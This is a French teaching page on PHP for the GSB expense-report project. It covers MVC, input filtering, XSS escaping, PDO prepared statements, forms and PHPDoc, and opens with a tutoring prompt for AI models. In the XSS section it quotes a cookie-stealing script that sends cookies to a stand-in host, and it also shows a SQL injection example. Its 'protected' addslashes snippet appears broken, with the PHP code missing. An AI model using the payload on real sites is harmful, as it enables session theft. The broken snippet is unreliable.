PHP — Concepts clés du projet GSB

Chaque concept utilisé dans le contrôleur et la vue de validation de fiche est expliqué ici avec des exemples concrets et des exercices.

PHP 8 HTML5 MariaDB BTS SIO SLAM
Prompt IA

🤖 Apprendre PHP de zéro avec ce projet

Copie ce prompt et colle-le dans Claude, ChatGPT ou n'importe quelle IA. Il lui donne tout le contexte du projet GSB pour qu'elle t'explique PHP depuis les fondamentaux jusqu'aux choix d'architecture, en utilisant le vrai code comme support.

Compatible Claude / ChatGPT / Gemini Niveau zéro requis Formation complète 8 phases
📋 Prompt à copier-coller
Tu es un tuteur expert en développement web PHP. Je suis étudiant en BTS SIO option SLAM. Je n'ai aucune connaissance préalable en PHP, ni en bases de données, ni en architecture logicielle. Ton objectif est de m'apprendre PHP de zéro jusqu'au niveau du projet GSB, en utilisant ce projet comme fil conducteur tout au long de la formation. ## Contexte du projet GSB Le projet "GSB" (Laboratoire Galaxy-Swiss Bourdin) est une application web PHP de gestion des notes de frais pour des visiteurs médicaux. Chaque mois, un visiteur saisit ses dépenses (repas, hôtel, kilomètres parcourus). Un comptable consulte, valide ou refuse chaque fiche, puis elle passe à l'état "remboursée". ### Structure des fichiers GSB/ ├── public/ │ ├── index.php ← point d'entrée unique (Front Controller) │ └── telecharger_pdf.php ← génération PDF indépendante ├── src/ │ ├── Modeles/PdoGsb.php ← toutes les requêtes SQL (PDO) │ ├── Controleurs/ ← c_connexion.php, c_validerFiche.php, c_suiviPaiement.php │ ├── Vues/ ← v_*.php (HTML généré par PHP) │ ├── Outils/Utilitaires.php │ └── Services/IndemniteKmService.php ├── config/ │ ├── bdd.php ← identifiants MySQL │ ├── define.php ← constantes PATH_VIEWS, PATH_PDF, ETAT_VA… │ └── indemnites_km.php ← barème kilométrique URSSAF 2024 (tableau PHP) └── resources/bdd/ ← scripts SQL et migrations ### Stack technique - PHP 8.2 (serveur) · MariaDB / MySQL (données) · PDO (accès BDD sécurisé) - Patron MVC (Modèle-Vue-Contrôleur) · Sessions PHP · bcrypt (mots de passe) - FPDF (génération PDF) · PHPDoc (documentation) · PHP built-in server (dev) ### Base de données (schéma simplifié) visiteur(id, nom, prenom, login, mdp VARCHAR(255), id_role, puissance_cv) role(id, libelle) -- 'VIS' ou 'COMPT' fichefrais(idvisiteur, mois, montantvalide, datemodif, idetat) etat(id, libelle) -- CR, CL, VA, RB lignefraisforfait(idvisiteur, mois, idfraisforfait, quantite) lignefraishorsforfait(id, idvisiteur, mois, libelle, date, montant) ### Fonctionnalités implémentées 1. Authentification avec sessions PHP et hachage bcrypt (password_hash / password_verify) 2. Saisie et consultation des fiches de frais par les visiteurs 3. Validation par le comptable : refus d'une ligne hors-forfait (préfixe "REFUSE : "), mise à jour des quantités forfaitisées 4. Cycle d'états : CR (Créée) → CL (Clôturée) → VA (Validée) → RB (Remboursée) 5. Barème kilométrique URSSAF 2024 : calcul selon la puissance fiscale du véhicule (5 plages × 3 tranches km) 6. Génération de PDF complet avec FPDF (GsbPdf extends FPDF) 7. Cache des PDF sur disque (Green-IT) : généré une fois, servi par readfile() ensuite 8. Documentation auto avec phpDocumentor ## Ce que j'attends de toi Enseigne-moi PHP phase par phase, en respectant cet ordre. Pour chaque concept : ① Explique-le simplement, sans jargon, comme si je n'avais aucune connaissance ② Montre un exemple minimal autonome (5-10 lignes max) ③ Montre comment ce même concept apparaît dans le vrai code du projet GSB ④ Pose-moi une question ou un mini-exercice pour vérifier que j'ai compris ⑤ Attends ma réponse avant de passer au concept suivant ### Phase 1 — PHP : qu'est-ce que c'est ? PHP s'exécute côté serveur et envoie du HTML au navigateur. Les balises <?php ?>, echo, les variables ($), les types (string, int, float, bool, array, null), les opérateurs, if/else/elseif, les boucles while/for/foreach. ### Phase 2 — HTTP et formulaires Requête GET vs POST, les formulaires HTML, récupérer les données avec $_GET / $_POST, sécuriser avec filter_input(INPUT_POST, ..., FILTER_SANITIZE_FULL_SPECIAL_CHARS), pourquoi XSS est dangereux, htmlspecialchars(). ### Phase 3 — PHP et MySQL avec PDO Les bases du SQL (SELECT, INSERT, UPDATE), connexion PDO dans GSB (PdoGsb.php), requêtes préparées (prepare/bindParam/execute), pourquoi elles protègent des injections SQL, fetch() et fetchAll(). ### Phase 4 — Architecture MVC Pourquoi séparer Modèle / Vue / Contrôleur, le Front Controller (index.php route via $_GET['uc']), lecture complète de c_connexion.php, lecture d'une vue (v_connexion.php), les include et les constantes PATH_VIEWS. ### Phase 5 — Sessions et authentification session_start(), $_SESSION, Utilitaires::connecter(), le flux complet de login dans GSB, pourquoi MD5 et SHA-1 sont obsolètes pour les mots de passe, comment bcrypt fonctionne (sel intégré, cost factor), password_hash() et password_verify(). ### Phase 6 — Programmation Orientée Objet (POO) Classes, objets, méthodes, propriétés, $this, constructeur. Méthodes statiques vs d'instance. Namespaces et autoloading PSR-4. Le Singleton de PdoGsb. Le principe SRP avec IndemniteKmService. Les interfaces et l'héritage (GsbPdf extends FPDF). ### Phase 7 — Concepts avancés du projet ob_start() / ob_end_clean() (capturer la sortie). Génération PDF avec FPDF : Header(), Footer(), Cell(), SetFont(), iconv() pour les accents. Cache fichier : is_file(), readfile(), file_put_contents(LOCK_EX), unlink(). Config PHP retournant un tableau (return [...]). ### Phase 8 — Déploiement et qualité Lancer le projet : php -S localhost:8080 -t public/. Migrations de BDD (ALTER TABLE IF NOT EXISTS). Documentation PHPDoc : @param, @return, @throws. Les constantes define() et leur rôle. Pourquoi on ne met pas la BDD dans public/. Commence par la Phase 1, premier concept. Ne donne pas tout d'un coup. Sois pédagogique, concret, et utilise des analogies du quotidien quand c'est utile.
1️⃣
Copie le prompt
Clique sur "Copier" ci-dessus pour mettre le prompt dans ton presse-papier.
2️⃣
Colle dans une IA
Ouvre Claude (claude.ai), ChatGPT ou Gemini et colle le prompt dans un nouveau chat.
3️⃣
Apprends phase par phase
L'IA t'enseigne une notion à la fois et attend ta réponse avant de continuer. Utilise ce cours en parallèle comme référence.
Architecture

🏗️ Le patron MVC

MVC découpe l'application en 3 couches qui ne se mélangent pas. C'est la base de GSB.

Les 3 rôles

CoucheFichier dans GSBRôle
ModèlePdoGsb.phpParle à la base de données. Retourne des tableaux PHP.
Vuev_validerFiche.phpAffiche le HTML. Ne touche JAMAIS à la BDD.
Contrôleurc_validerFiche.phpLit les données utilisateur, appelle le modèle, passe les résultats à la vue.

Le flux d'une requête

// 1. L'utilisateur visite : index.php?uc=validerFiche&action=chargerFiche

// 2. index.php (routeur) lit le paramètre "uc" et inclut le bon contrôleur :
switch ($uc) {
    case 'validerFiche':
        include PATH_CTRLS . 'c_validerFiche.php';  // → inclut le contrôleur
        break;
}

// 3. Le contrôleur appelle le modèle :
$lesFrais = $pdo->getLesFraisForfait($idVisiteur, $mois);

// 4. Le contrôleur passe les données à la vue :
include PATH_VIEWS . 'v_validerFiche.php';

// 5. La vue lit $lesFrais et génère le HTML.
PHP
💡

Règle d'or : une vue ne fait jamais de requête SQL. Si tu écris SELECT dans un fichier v_*.php, c'est une erreur d'architecture.

✏️ Exercice

  1. Dans quel fichier PHP écris-tu la requête SQL qui récupère les frais d'un visiteur ?
  2. Dans quel fichier PHP écris-tu la boucle foreach qui génère les lignes du tableau HTML ?
  3. Dans quel fichier PHP écris-tu le switch($action) qui décide quelle action effectuer ?
Architecture

🔄 Le cycle d'états d'une fiche

Une fiche de frais passe par 4 états successifs. On ne peut pas sauter d'état.

CR
Créée
CL
Clôturée
VA
Validée
RB
Remboursée

Qui fait quoi ?

TransitionDéclenché parComment
CR → CLSystème automatiquementÀ la 1ʳᵉ saisie du mois suivant par le visiteur
CL → VAComptableAprès validation de la fiche (Tâche 1)
VA → RBComptableAprès mise en paiement (Tâche 2)

En PHP — changer l'état d'une fiche

// La constante ETAT_VA vaut 'VA' (définie dans config/define.php).
// Toujours préférer une constante à une chaîne en dur :

// ❌ Éviter
$pdo->majEtatFicheFrais($idVisiteur, $mois, 'VA');

// ✅ Préférer
$pdo->majEtatFicheFrais($idVisiteur, $mois, ETAT_VA);

// Pourquoi ? Si demain l'état s'appelle "VALIDE" au lieu de "VA",
// on change une seule ligne dans define.php, pas 10 fichiers.
PHP
Sécurité

🛡️ filter_input() — Ne jamais faire confiance aux données utilisateur

Toute donnée venant de l'URL ou d'un formulaire peut être piégée. filter_input() est la 1ʳᵉ ligne de défense.

❌ Dangereux
$action = $_GET['action'];
// Problèmes :
// 1. PHP_WARNING si 'action' absent
// 2. Aucune sanitisation
✅ Sécurisé
$action = filter_input(
  INPUT_GET,
  'action',
  FILTER_SANITIZE_FULL_SPECIAL_CHARS
);
// Retourne null si absent ✓
// Convertit < > " & en entités ✓

Les filtres les plus utilisés en GSB

FiltreCe qu'il faitQuand l'utiliser
FILTER_SANITIZE_FULL_SPECIAL_CHARS Convertit < > " & en entités HTML Textes libres : noms, libellés, actions
FILTER_VALIDATE_INT Retourne l'entier ou false si invalide Quantités, IDs numériques
FILTER_VALIDATE_FLOAT Retourne le flottant ou false Montants financiers
FILTER_DEFAULT + FILTER_FORCE_ARRAY Récupère un tableau sans filtre spécifique Tableaux de formulaire (lesFrais[])

Exemple complet — lire plusieurs champs POST

// Un formulaire HTML envoie : visiteur, mois, lesFrais[]

// Champ texte simple → FILTER_SANITIZE_FULL_SPECIAL_CHARS
$idVisiteur = filter_input(INPUT_POST, 'visiteur', FILTER_SANITIZE_FULL_SPECIAL_CHARS);
$mois       = filter_input(INPUT_POST, 'mois',     FILTER_SANITIZE_FULL_SPECIAL_CHARS);

// Tableau de champs → FILTER_DEFAULT + FILTER_FORCE_ARRAY
// Résultat : $lesFrais = ['ETP' => '12', 'KM' => '560', ...]
$lesFrais = filter_input(INPUT_POST, 'lesFrais', FILTER_DEFAULT, FILTER_FORCE_ARRAY);
PHP

✏️ Exercice

  1. Écris la ligne qui lit un paramètre GET nommé idFrais de façon sécurisée.
  2. Pourquoi utilise-t-on INPUT_POST et non INPUT_GET pour lire les données d'un formulaire ?
  3. Que retourne filter_input() si le paramètre n'existe pas dans l'URL ?
Sécurité

🔒 htmlspecialchars() — Protection contre les XSS

XSS (Cross-Site Scripting) : un attaquant injecte du JavaScript dans ta page via des données affichées sans protection.

☠️

Scénario d'attaque : un visiteur s'appelle <script>document.location='http://hack.com?c='+document.cookie</script>. Sans htmlspecialchars(), ce script s'exécuterait dans le navigateur de chaque comptable qui voit la liste des visiteurs.

Comment ça fonctionne

$nom = '<script>alert("hacked")</script>';

// ❌ Sans protection — le script s'exécute dans le navigateur
echo $nom;
// Sortie HTML : <script>alert("hacked")</script>  ← EXÉCUTÉ !

// ✅ Avec htmlspecialchars() — affiché comme texte, non exécuté
echo htmlspecialchars($nom);
// Sortie HTML : &lt;script&gt;alert("hacked")&lt;/script&gt;  ← INOFFENSIF
PHP

Table de conversion

CaractèreEntité HTMLRisque si non protégé
<&lt;Début de balise HTML ou script
>&gt;Fin de balise HTML
"&quot;Fermeture d'attribut HTML
&&amp;Début d'entité HTML
'&#039;Fermeture d'attribut (avec quotes simples)

Règle : toute variable affichée dans le HTML passe par htmlspecialchars(), sans exception. Même si tu es "sûr" qu'elle ne contient pas de caractère dangereux.

✏️ Exercice

  1. Que produit htmlspecialchars('Rock & Roll') ?
  2. Pourquoi la protection XSS est-elle dans la vue et non dans le contrôleur ?
  3. Un montant comme 1234.56 a-t-il besoin de htmlspecialchars() ? Pourquoi ?
Sécurité

🗄️ PDO et les requêtes préparées

Les injections SQL permettent à un attaquant de modifier ou lire n'importe quelle donnée de ta base. Les requêtes préparées les empêchent totalement.

❌ Injection SQL possible
$id = $_GET['id'];
// Si id = "1 OR 1=1" → récupère TOUT
$sql = "SELECT * FROM visiteur
  WHERE id = $id";
$pdo->query($sql);
✅ Requête préparée
$req = $pdo->prepare(
  'SELECT * FROM visiteur
   WHERE id = :unId'
);
$req->bindParam(':unId', $id);
$req->execute();

Les 3 étapes d'une requête préparée

// ÉTAPE 1 : préparer — on envoie la structure SQL au serveur.
// Les :paramètres sont des emplacements vides, pas encore des valeurs.
$req = $this->connexion->prepare(
    'SELECT * FROM fichefrais '
    . 'WHERE idvisiteur = :unIdVisiteur '
    . 'AND mois = :unMois'
);

// ÉTAPE 2 : lier — on associe chaque :paramètre à une variable PHP.
// PDO_PARAM_STR indique que c'est une chaîne (PARAM_INT pour entier).
// PDO JAMAIS d'injection possible ici : la valeur est séparée du SQL.
$req->bindParam(':unIdVisiteur', $idVisiteur, PDO::PARAM_STR);
$req->bindParam(':unMois',       $mois,       PDO::PARAM_STR);

// ÉTAPE 3 : exécuter, puis récupérer les résultats.
$req->execute();
$resultat = $req->fetchAll();  // tableau de toutes les lignes
$uneSeule = $req->fetch();      // une seule ligne
PHP
💡

Singleton : dans GSB, PdoGsb::getPdoGsb() utilise le patron Singleton : il crée la connexion une seule fois et la réutilise. Sans ça, on ouvrirait une nouvelle connexion à chaque appel de méthode, ce qui est très lent.

PHP

🔀 switch / case — L'aiguillage des actions

Le même mécanisme sert à deux niveaux dans GSB : choisir le contrôleur (dans index.php) et choisir l'action (dans chaque contrôleur).

Structure de base

$action = filter_input(INPUT_GET, 'action', FILTER_SANITIZE_FULL_SPECIAL_CHARS);

// On donne une valeur par défaut si $action est null (paramètre absent de l'URL)
if (!$action) {
    $action = 'afficher';
}

switch ($action) {

    case 'chargerFiche':
        // Exécuté quand ?action=chargerFiche est dans l'URL
        $data = $pdo->getLesFraisForfait($id, $mois);
        include 'v_validerFiche.php';
        break;  // ← OBLIGATOIRE pour ne pas tomber dans le case suivant

    case 'valider':
        $pdo->majEtatFicheFrais($id, $mois, ETAT_VA);
        include 'v_validerFiche.php';
        break;

    case 'afficher':
    default:  // ← capte tout ce qui ne correspond à aucun case
        include 'v_validerFiche.php';
        break;
}
PHP
⚠️

Le piège du break oublié : sans break, PHP continue d'exécuter les cases suivants (fallthrough). C'est parfois voulu, mais presque toujours un bug dans un contrôleur.

✏️ Exercice

  1. Quelle URL déclenche le case 'chargerFiche' dans le contrôleur validerFiche ?
  2. Que se passe-t-il si l'URL contient ?action=hackAction et qu'il n'y a pas de case correspondant ?
  3. Pourquoi est-il important d'avoir un default dans chaque switch d'un contrôleur ?
PHP

❓ isset() et is_array()

Dans une vue MVC, les variables viennent du contrôleur. Elles peuvent ne pas exister (ex : page initiale sans visiteur sélectionné). Il faut toujours vérifier.

isset() — La variable existe-t-elle ?

// isset() retourne true si la variable existe ET n'est pas null.
// false si la variable n'est pas définie, ou si elle vaut null.

if (isset($lesFraisForfait)) {
    // On sait que $lesFraisForfait existe
    foreach ($lesFraisForfait as $f) { ... }
}

// ❌ Sans isset() → PHP_WARNING "Undefined variable" si la variable n'existe pas
foreach ($lesFraisForfait as $f) { ... }
PHP

is_array() — Peut-on itérer dessus ?

// Un fetch() PDO peut retourner false si aucune ligne trouvée.
// Un fetchAll() retourne toujours un tableau (vide si aucun résultat).
// is_array() protège le foreach si la valeur peut ne pas être un tableau.

if (isset($tousVisiteurs) && is_array($tousVisiteurs)) {
    foreach ($tousVisiteurs as $v) {
        echo htmlspecialchars($v['nom']);
    }
}

// count() sur un tableau vide retourne 0 (pas d'erreur).
// Utile pour afficher un message "Aucun résultat" :
if (count($lesMois) === 0) {
    echo 'Aucun mois disponible';
}
PHP
PHP

📦 Créer un tableau PHP depuis un formulaire HTML

Avec la notation name="maVariable[clé]", plusieurs champs d'un même formulaire sont regroupés en un seul tableau PHP côté serveur.

Côté HTML — les champs du formulaire

<!-- name="lesFrais[ETP]" → crée $_POST['lesFrais']['ETP'] -->
<input type="text" name="lesFrais[ETP]" value="12">
<input type="text" name="lesFrais[KM]"  value="560">
<input type="text" name="lesFrais[NUI]" value="6">
<input type="text" name="lesFrais[REP]" value="25">
HTML

Côté PHP — ce que reçoit le contrôleur

// filter_input avec FILTER_FORCE_ARRAY reconstruit le tableau :
$lesFrais = filter_input(INPUT_POST, 'lesFrais', FILTER_DEFAULT, FILTER_FORCE_ARRAY);

// $lesFrais est maintenant :
// [
//   'ETP' => '12',
//   'KM'  => '560',
//   'NUI' => '6',
//   'REP' => '25'
// ]

// On peut ensuite itérer dessus :
foreach ($lesFrais as $idFrais => $quantite) {
    echo "$idFrais : $quantite";  // "ETP : 12", "KM : 560"...
}
PHP

Comment la vue génère ces champs dynamiquement

<?php foreach ($lesFraisForfait as $unFrais): ?>
    <label>
        <?php echo htmlspecialchars($unFrais['libelle']); ?>
    </label>
    <input
        type="text"
        name="lesFrais[<?php echo htmlspecialchars($unFrais['idfrais']); ?>]"
        value="<?php echo htmlspecialchars($unFrais['quantite']); ?>"
    >
<?php endforeach; ?>

<!--
    Pour chaque frais de la BDD, la boucle génère un champ input.
    Son name change dynamiquement : lesFrais[ETP], lesFrais[KM]...
    C'est ce qui permet au contrôleur de reconstituer le tableau.
-->
PHP + HTML
PHP

📌 Les constantes avec define()

Une constante est une valeur nommée qui ne change jamais pendant l'exécution. Elle est définie une fois et utilisée partout.

Définir et utiliser une constante

// Dans config/define.php — définies UNE SEULE FOIS
define('PATH_VIEWS', '../src/Vues/');
define('PATH_CTRLS', '../src/Controleurs/');
define('ETAT_CR',   'CR');
define('ETAT_VA',   'VA');
define('ETAT_RB',   'RB');

// Dans n'importe quel autre fichier — pas de $ devant une constante !
include PATH_VIEWS . 'v_validerFiche.php';
$pdo->majEtatFicheFrais($id, $mois, ETAT_VA);
PHP
❌ Chaîne en dur (fragile)
// Si l'état 'VA' devient 'VALID',
// il faut modifier 15 fichiers.
$pdo->majEtat($id, $m, 'VA');
if ($etat == 'VA') { ... }
// ... répété partout
✅ Constante (robuste)
// On change une seule ligne dans
// define.php → tout est mis à jour.
$pdo->majEtat($id, $m, ETAT_VA);
if ($etat == ETAT_VA) { ... }
// ... toujours lisible
PHP

🔢 number_format() — Formater les montants

Signature et exemples

// number_format(nombre, décimales, séparateur_décimal, séparateur_milliers)

echo number_format(1234.5, 2, ',', ' ');
// Affiche : "1 234,50"   ← format français (virgule + espace)

echo number_format(1234.5, 2, '.', '');
// Affiche : "1234.50"    ← format tableau (point, pas de séparateur milliers)

// Cast (float) important : la BDD retourne parfois des chaînes
echo number_format((float)$hf['montant'], 2, '.', '');
PHP
HTML / Forms

📤 GET vs POST — Choisir la bonne méthode

GETPOST
Données dansL'URL (?cle=valeur)Le corps de la requête (invisible)
Limité à~2000 caractèresPas de limite pratique
Mis en cacheOui (navigateur, proxy)Non
HistoriqueOui (bookmarkable)Non
Utiliser pourNavigation, filtres, liensFormulaires qui modifient des données
Exemple GSB?uc=validerFiche&action=refuserHFFormulaire de validation des frais
⚠️

Bonne pratique : les actions qui modifient la base de données (INSERT, UPDATE, DELETE) doivent être déclenchées par un formulaire POST, pas par un simple lien GET. Dans GSB, l'action "refuserHF" utilise GET par simplicité — c'est acceptable pour un projet d'apprentissage mais pas en production.

HTML / Forms

👁️ Les champs cachés (input hidden)

Un formulaire n'envoie que les données de ses champs. Si le contrôleur a besoin de l'identifiant du visiteur mais que l'utilisateur ne doit pas le modifier, on utilise un champ caché.

Exemple

<!--
    L'utilisateur ne voit pas ce champ.
    Mais il est bien envoyé lors de la soumission du formulaire.
    Sans lui, le contrôleur ne saurait pas quelle fiche valider.
-->
<form method="post" action="index.php?uc=validerFiche&action=valider">

    <input type="hidden" name="visiteur" value="a131">
    <input type="hidden" name="mois"     value="202403">

    <!-- Champs visibles pour les quantités -->
    <input type="text" name="lesFrais[ETP]" value="12">

    <button type="submit">Valider</button>
</form>
HTML
⚠️

Sécurité : un champ type="hidden" n'est pas sécurisé ! L'utilisateur peut le modifier avec les outils de développement de son navigateur. Dans GSB, il faut toujours vérifier côté serveur que le visiteur sélectionné est bien accessible au comptable connecté.

HTML / Forms

⚡ Soumettre un formulaire automatiquement

onchange="this.form.submit()" soumet le formulaire dès qu'une sélection change, sans bouton "Valider".

Exemple — rechargement automatique au changement de visiteur

<!--
    Quand l'utilisateur choisit un visiteur dans le menu déroulant,
    le formulaire est immédiatement soumis.
    Le contrôleur reçoit la sélection et recharge la bonne fiche.
    this = l'élément select lui-même
    this.form = le formulaire qui contient ce select
    this.form.submit() = soumet ce formulaire
-->
<select name="visiteur" onchange="this.form.submit()">
    <option value="a131">BEDOS Sophie</option>
    <option value="a17">CADIC Alexis</option>
</select>
HTML

confirm() — Demander une confirmation avant une action

<!--
    onclick="return confirm(...)" :
    - Affiche une boîte de dialogue native du navigateur.
    - Si l'utilisateur clique "OK" → return true → la navigation continue.
    - Si l'utilisateur clique "Annuler" → return false → rien ne se passe.
    Utile avant toute action irréversible (refuser, supprimer...).
-->
<a
    href="index.php?uc=validerFiche&action=refuserHF&idFrais=42"
    onclick="return confirm('Confirmer le refus de ce frais ?')"
>
    Refuser
</a>
HTML

✏️ Exercice final — assembler les concepts

  1. Crée un formulaire HTML avec un champ texte nom et un bouton submit. Quelle méthode utilises-tu et pourquoi ?
  2. Côté PHP, lis ce champ de façon sécurisée avec filter_input().
  3. Affiche la valeur dans le HTML de manière sécurisée contre les XSS.
  4. Ajoute un champ caché id qui contient la valeur 42.
  5. Bonus : formate le montant 9876.5 en style français avec number_format().
Tâche 2 — Suivi du paiement
PHP

🔁 Le fallthrough dans un switch

Omettre volontairement un break pour qu'un case enchaîne sur le suivant — utile quand deux actions partagent la même logique finale.

💡

Contexte GSB : après avoir payé une fiche (action payer), on veut recharger la liste mise à jour (action lister). Plutôt que de dupliquer le code, on laisse PHP "tomber" dans le case suivant.

Fallthrough intentionnel

switch ($action) {

    case 'payer':
        $pdo->rembourserFiche($idVisiteur, $mois);
        $message = 'Fiche remboursée !';
        // ↓ PAS de break → tombe dans 'lister' automatiquement

    case 'lister':
    case 'afficher':  // deux cases pour une même action : si vide, PHP passe au suivant
    default:
        $fichesValidees = $pdo->getFichesValidees();
        include 'v_suiviPaiement.php';
        break;  // ← break ici, à la fin du bloc partagé
}
PHP
❌ Sans fallthrough — code dupliqué
case 'payer':
    $pdo->rembourserFiche(...);
    // On répète tout le code de listing
    $fiches = $pdo->getFichesValidees();
    include 'v_suiviPaiement.php';
    break;
case 'lister':
    $fiches = $pdo->getFichesValidees();
    include 'v_suiviPaiement.php';
    break;
✅ Avec fallthrough — DRY
case 'payer':
    $pdo->rembourserFiche(...);
    // Pas de break → tombe ici ↓
case 'lister':
    $fiches = $pdo->getFichesValidees();
    include 'v_suiviPaiement.php';
    break;
⚠️

Attention : un fallthrough non documenté est un bug difficile à repérer. Toujours ajouter un commentaire // pas de break intentionnel pour qu'un autre développeur comprenne que ce n'est pas un oubli.

HTML / Forms

🔎 GET pour un formulaire de filtre

Un filtre de consultation (sans modification de données) doit utiliser GET pour que l'URL reflète l'état de la page.

Le formulaire de filtre avec GET

<!--
    method="get" : les données apparaissent dans l'URL.
    ?uc=suiviPaiement&action=lister&visiteur=a17
                                         ↑ filtre visible dans l'URL
    Avantages :
      - Bookmarkable : on peut sauvegarder le lien filtré
      - Partageable  : envoyer le lien à un collègue
      - Historique   : le bouton "Précédent" fonctionne correctement

    Avec POST, l'URL resterait "?uc=suiviPaiement" sans le filtre.
    Un F5 (rafraîchissement) demanderait à renvoyer les données → mauvaise UX.
-->
<form method="get" action="index.php">
    <!-- Avec GET, uc et action doivent être des champs cachés -->
    <input type="hidden" name="uc"     value="suiviPaiement">
    <input type="hidden" name="action" value="lister">

    <select name="visiteur" onchange="this.form.submit()">
        <option value="">Tous</option>
        <option value="a17">CADIC Alexis</option>
    </select>
</form>
<!-- URL générée : index.php?uc=suiviPaiement&action=lister&visiteur=a17 -->
HTML

Côté PHP — lire le filtre et l'utiliser

// Le filtre vient de l'URL → INPUT_GET
$filtreVisiteur = filter_input(INPUT_GET, 'visiteur', FILTER_SANITIZE_FULL_SPECIAL_CHARS);

// Opérateur ternaire : version condensée du if/else
// condition ? valeur_si_vrai : valeur_si_faux
$fichesValidees = $filtreVisiteur
    ? $pdo->getFichesValidees($filtreVisiteur)  // filtre actif
    : $pdo->getFichesValidees();                  // tous les visiteurs

// Équivalent avec if/else (plus lisible pour débuter) :
if ($filtreVisiteur) {
    $fichesValidees = $pdo->getFichesValidees($filtreVisiteur);
} else {
    $fichesValidees = $pdo->getFichesValidees();
}
PHP

✏️ Exercice

  1. Quelle est la différence entre lire un filtre avec INPUT_GET et enregistrer un paiement avec INPUT_POST ?
  2. Pourquoi les champs uc et action doivent-ils être des champs cachés dans un formulaire GET, alors qu'avec POST on peut les mettre dans l'attribut action="..." du formulaire ?
PHP

✂️ substr() et date() — Manipuler les dates

substr() — Extraire une partie d'une chaîne

// substr(chaîne, position_début, longueur)
// Les positions commencent à 0 (comme les tableaux).

$mois = '202403';   // format stocké en BDD : aaaamm

$annee = substr($mois, 0, 4);  // → "2024" (4 caractères depuis le début)
$numM  = substr($mois, 4, 2);  // → "03"   (2 caractères à partir du 5ème)

// Affichage lisible : "03/2024"
echo $numM . '/' . $annee;

// Autres exemples utiles :
substr('Bonjour', 0, 3);   // → "Bon"
substr('Bonjour', 3);       // → "jour" (jusqu'à la fin)
substr('Bonjour', -4);      // → "jour" (4 caractères depuis la fin)
PHP

date() — Obtenir la date/heure actuelle

// date(format) retourne la date courante selon le format donné.

date('Y');          // → "2026"        (année sur 4 chiffres)
date('m');          // → "04"          (mois avec zéro : 01 à 12)
date('d');          // → "28"          (jour avec zéro : 01 à 31)
date('Y-m-d');      // → "2026-04-28"  (format SQL)
date('d/m/Y');      // → "28/04/2026"  (format français)
date('Ym');         // → "202604"      (format mois GSB)

// Dans le contrôleur, on l'utilise pour les stats de l'année en cours :
$annee = date('Y');  // pas besoin d'écrire 2026 en dur !
PHP
HTML / Forms

🗂️ Un formulaire par ligne de tableau

Quand chaque ligne d'un tableau doit déclencher une action différente (payer cette fiche précise), on imbrique un formulaire dans chaque <tr>.

Principe

<tbody>
    <?php foreach ($fichesValidees as $f): ?>
    <tr>
        <td><?php echo htmlspecialchars($f['nom']); ?></td>
        <td><?php echo htmlspecialchars($f['mois']); ?></td>
        <td>
            <!--
                Chaque ligne a SON propre formulaire avec SES propres
                champs cachés. Le bouton "Payer" soumet uniquement
                les données de cette ligne, pas de toutes les autres.
            -->
            <form method="post" action="index.php?uc=suiviPaiement&action=payer">
                <input type="hidden" name="idVisiteur" value="<?= htmlspecialchars($f['idvisiteur']) ?>">
                <input type="hidden" name="mois"       value="<?= htmlspecialchars($f['mois']) ?>">
                <button type="submit">Payer</button>
            </form>
        </td>
    </tr>
    <?php endforeach; ?>
</tbody>
HTML + PHP
💡

<?= ... ?> est un raccourci pour <?php echo ... ?>. Les deux sont équivalents — GSB utilise la forme longue par convention, mais la forme courte est très répandue.

Sécurité

🪝 addslashes() dans un contexte JavaScript

Quand on insère une variable PHP dans une chaîne JavaScript (comme un message confirm()), deux protections sont nécessaires.

Le problème

<!-- Si $nom contient une apostrophe (O'Brien), la chaîne JS est cassée : -->
<button onclick="return confirm('Payer O'Brien ?')">   <!-- ❌ CASSÉ -->

<!-- La protection combinée : -->
<button onclick="return confirm('')">   <!-- ✅ OK -->
HTML + PHP

Les deux fonctions sont complémentaires

FonctionProtège contreContexte
htmlspecialchars()Injection HTML / XSSToujours, dans le HTML
addslashes()Apostrophes cassant une chaîne JSUniquement dans du JS embarqué
PHP

➕ Cumuler une valeur dans une boucle

Pour calculer un total à partir d'un tableau, on initialise un accumulateur avant la boucle et on lui ajoute chaque valeur.

Pattern accumulateur

// TOUJOURS initialiser AVANT la boucle
// Si on oublie : PHP_WARNING "Undefined variable" à la 1ère addition
$totalAnnee = 0.0;  // 0.0 (float) et non 0 (int) car les montants ont des décimales

foreach ($statsRemboursements as $stat) {
    // (float) cast : convertit en nombre flottant.
    // La BDD retourne parfois les résultats de SUM() en chaîne ("1234.50").
    // Sans cast, PHP peut faire une addition de chaînes au lieu de nombres.
    $montant = (float)$stat['total'];

    // += est un raccourci pour : $totalAnnee = $totalAnnee + $montant
    $totalAnnee += $montant;
}

// Après la boucle, $totalAnnee contient la somme de tous les mois
echo number_format($totalAnnee, 2, ',', ' ') . ' €';
PHP

Opérateurs d'assignation composés

OpérateurÉquivalentUsage
$x += 5$x = $x + 5Cumuler un total
$x -= 5$x = $x - 5Déduire une valeur
$x .= ' texte'$x = $x . ' texte'Concaténer du texte
$x++$x = $x + 1Incrémenter un compteur

✏️ Exercice — tâche 2 complète

  1. À partir du tableau [['mois'=>'202401','total'=>'1200.00'], ['mois'=>'202402','total'=>'850.50']], calcule le total annuel.
  2. Affiche "03/2024" à partir de la chaîne "202403" avec substr().
  3. Explique pourquoi le case 'payer' n'a pas de break dans le contrôleur de suivi.
  4. Pourquoi utilise-t-on GET pour le filtre visiteur et POST pour le bouton "Payer" ?
Tâche 3 — Documentation technique
Documentation

📄 C'est quoi PHPDoc ?

PHPDoc est un standard de commentaires structurés pour PHP. phpDocumentor lit ces commentaires et génère automatiquement un site HTML de documentation.

💡

Principe : on écrit les commentaires UNE FOIS dans le code source. phpDocumentor génère la documentation HTML à partir de ces commentaires. Plus besoin d'écrire un document Word séparé !

Structure d'un bloc PHPDoc

/**                                          ← Commence par /**  (deux étoiles)
 * Courte description sur une ligne.
 *
 * Description longue optionnelle sur
 * plusieurs lignes si besoin.
 *
 * @tag1  valeur                             ← Tags : métadonnées structurées
 * @tag2  valeur
 */
public function maFonction(): void
{
    // ...
}
PHP

Exemple réel — méthode de PdoGsb

/**
 * Retourne les frais forfaitisés d'un visiteur pour un mois donné.
 *
 * Effectue une jointure entre lignefraisforfait et fraisforfait
 * pour obtenir le libellé et le montant unitaire de chaque frais.
 *
 * @param string $idVisiteur Identifiant du visiteur (ex: "a131")
 * @param string $mois       Mois au format aaaamm (ex: "202403")
 *
 * @return array Tableau associatif avec les clés :
 *               idfrais, libelle, montant, quantite
 */
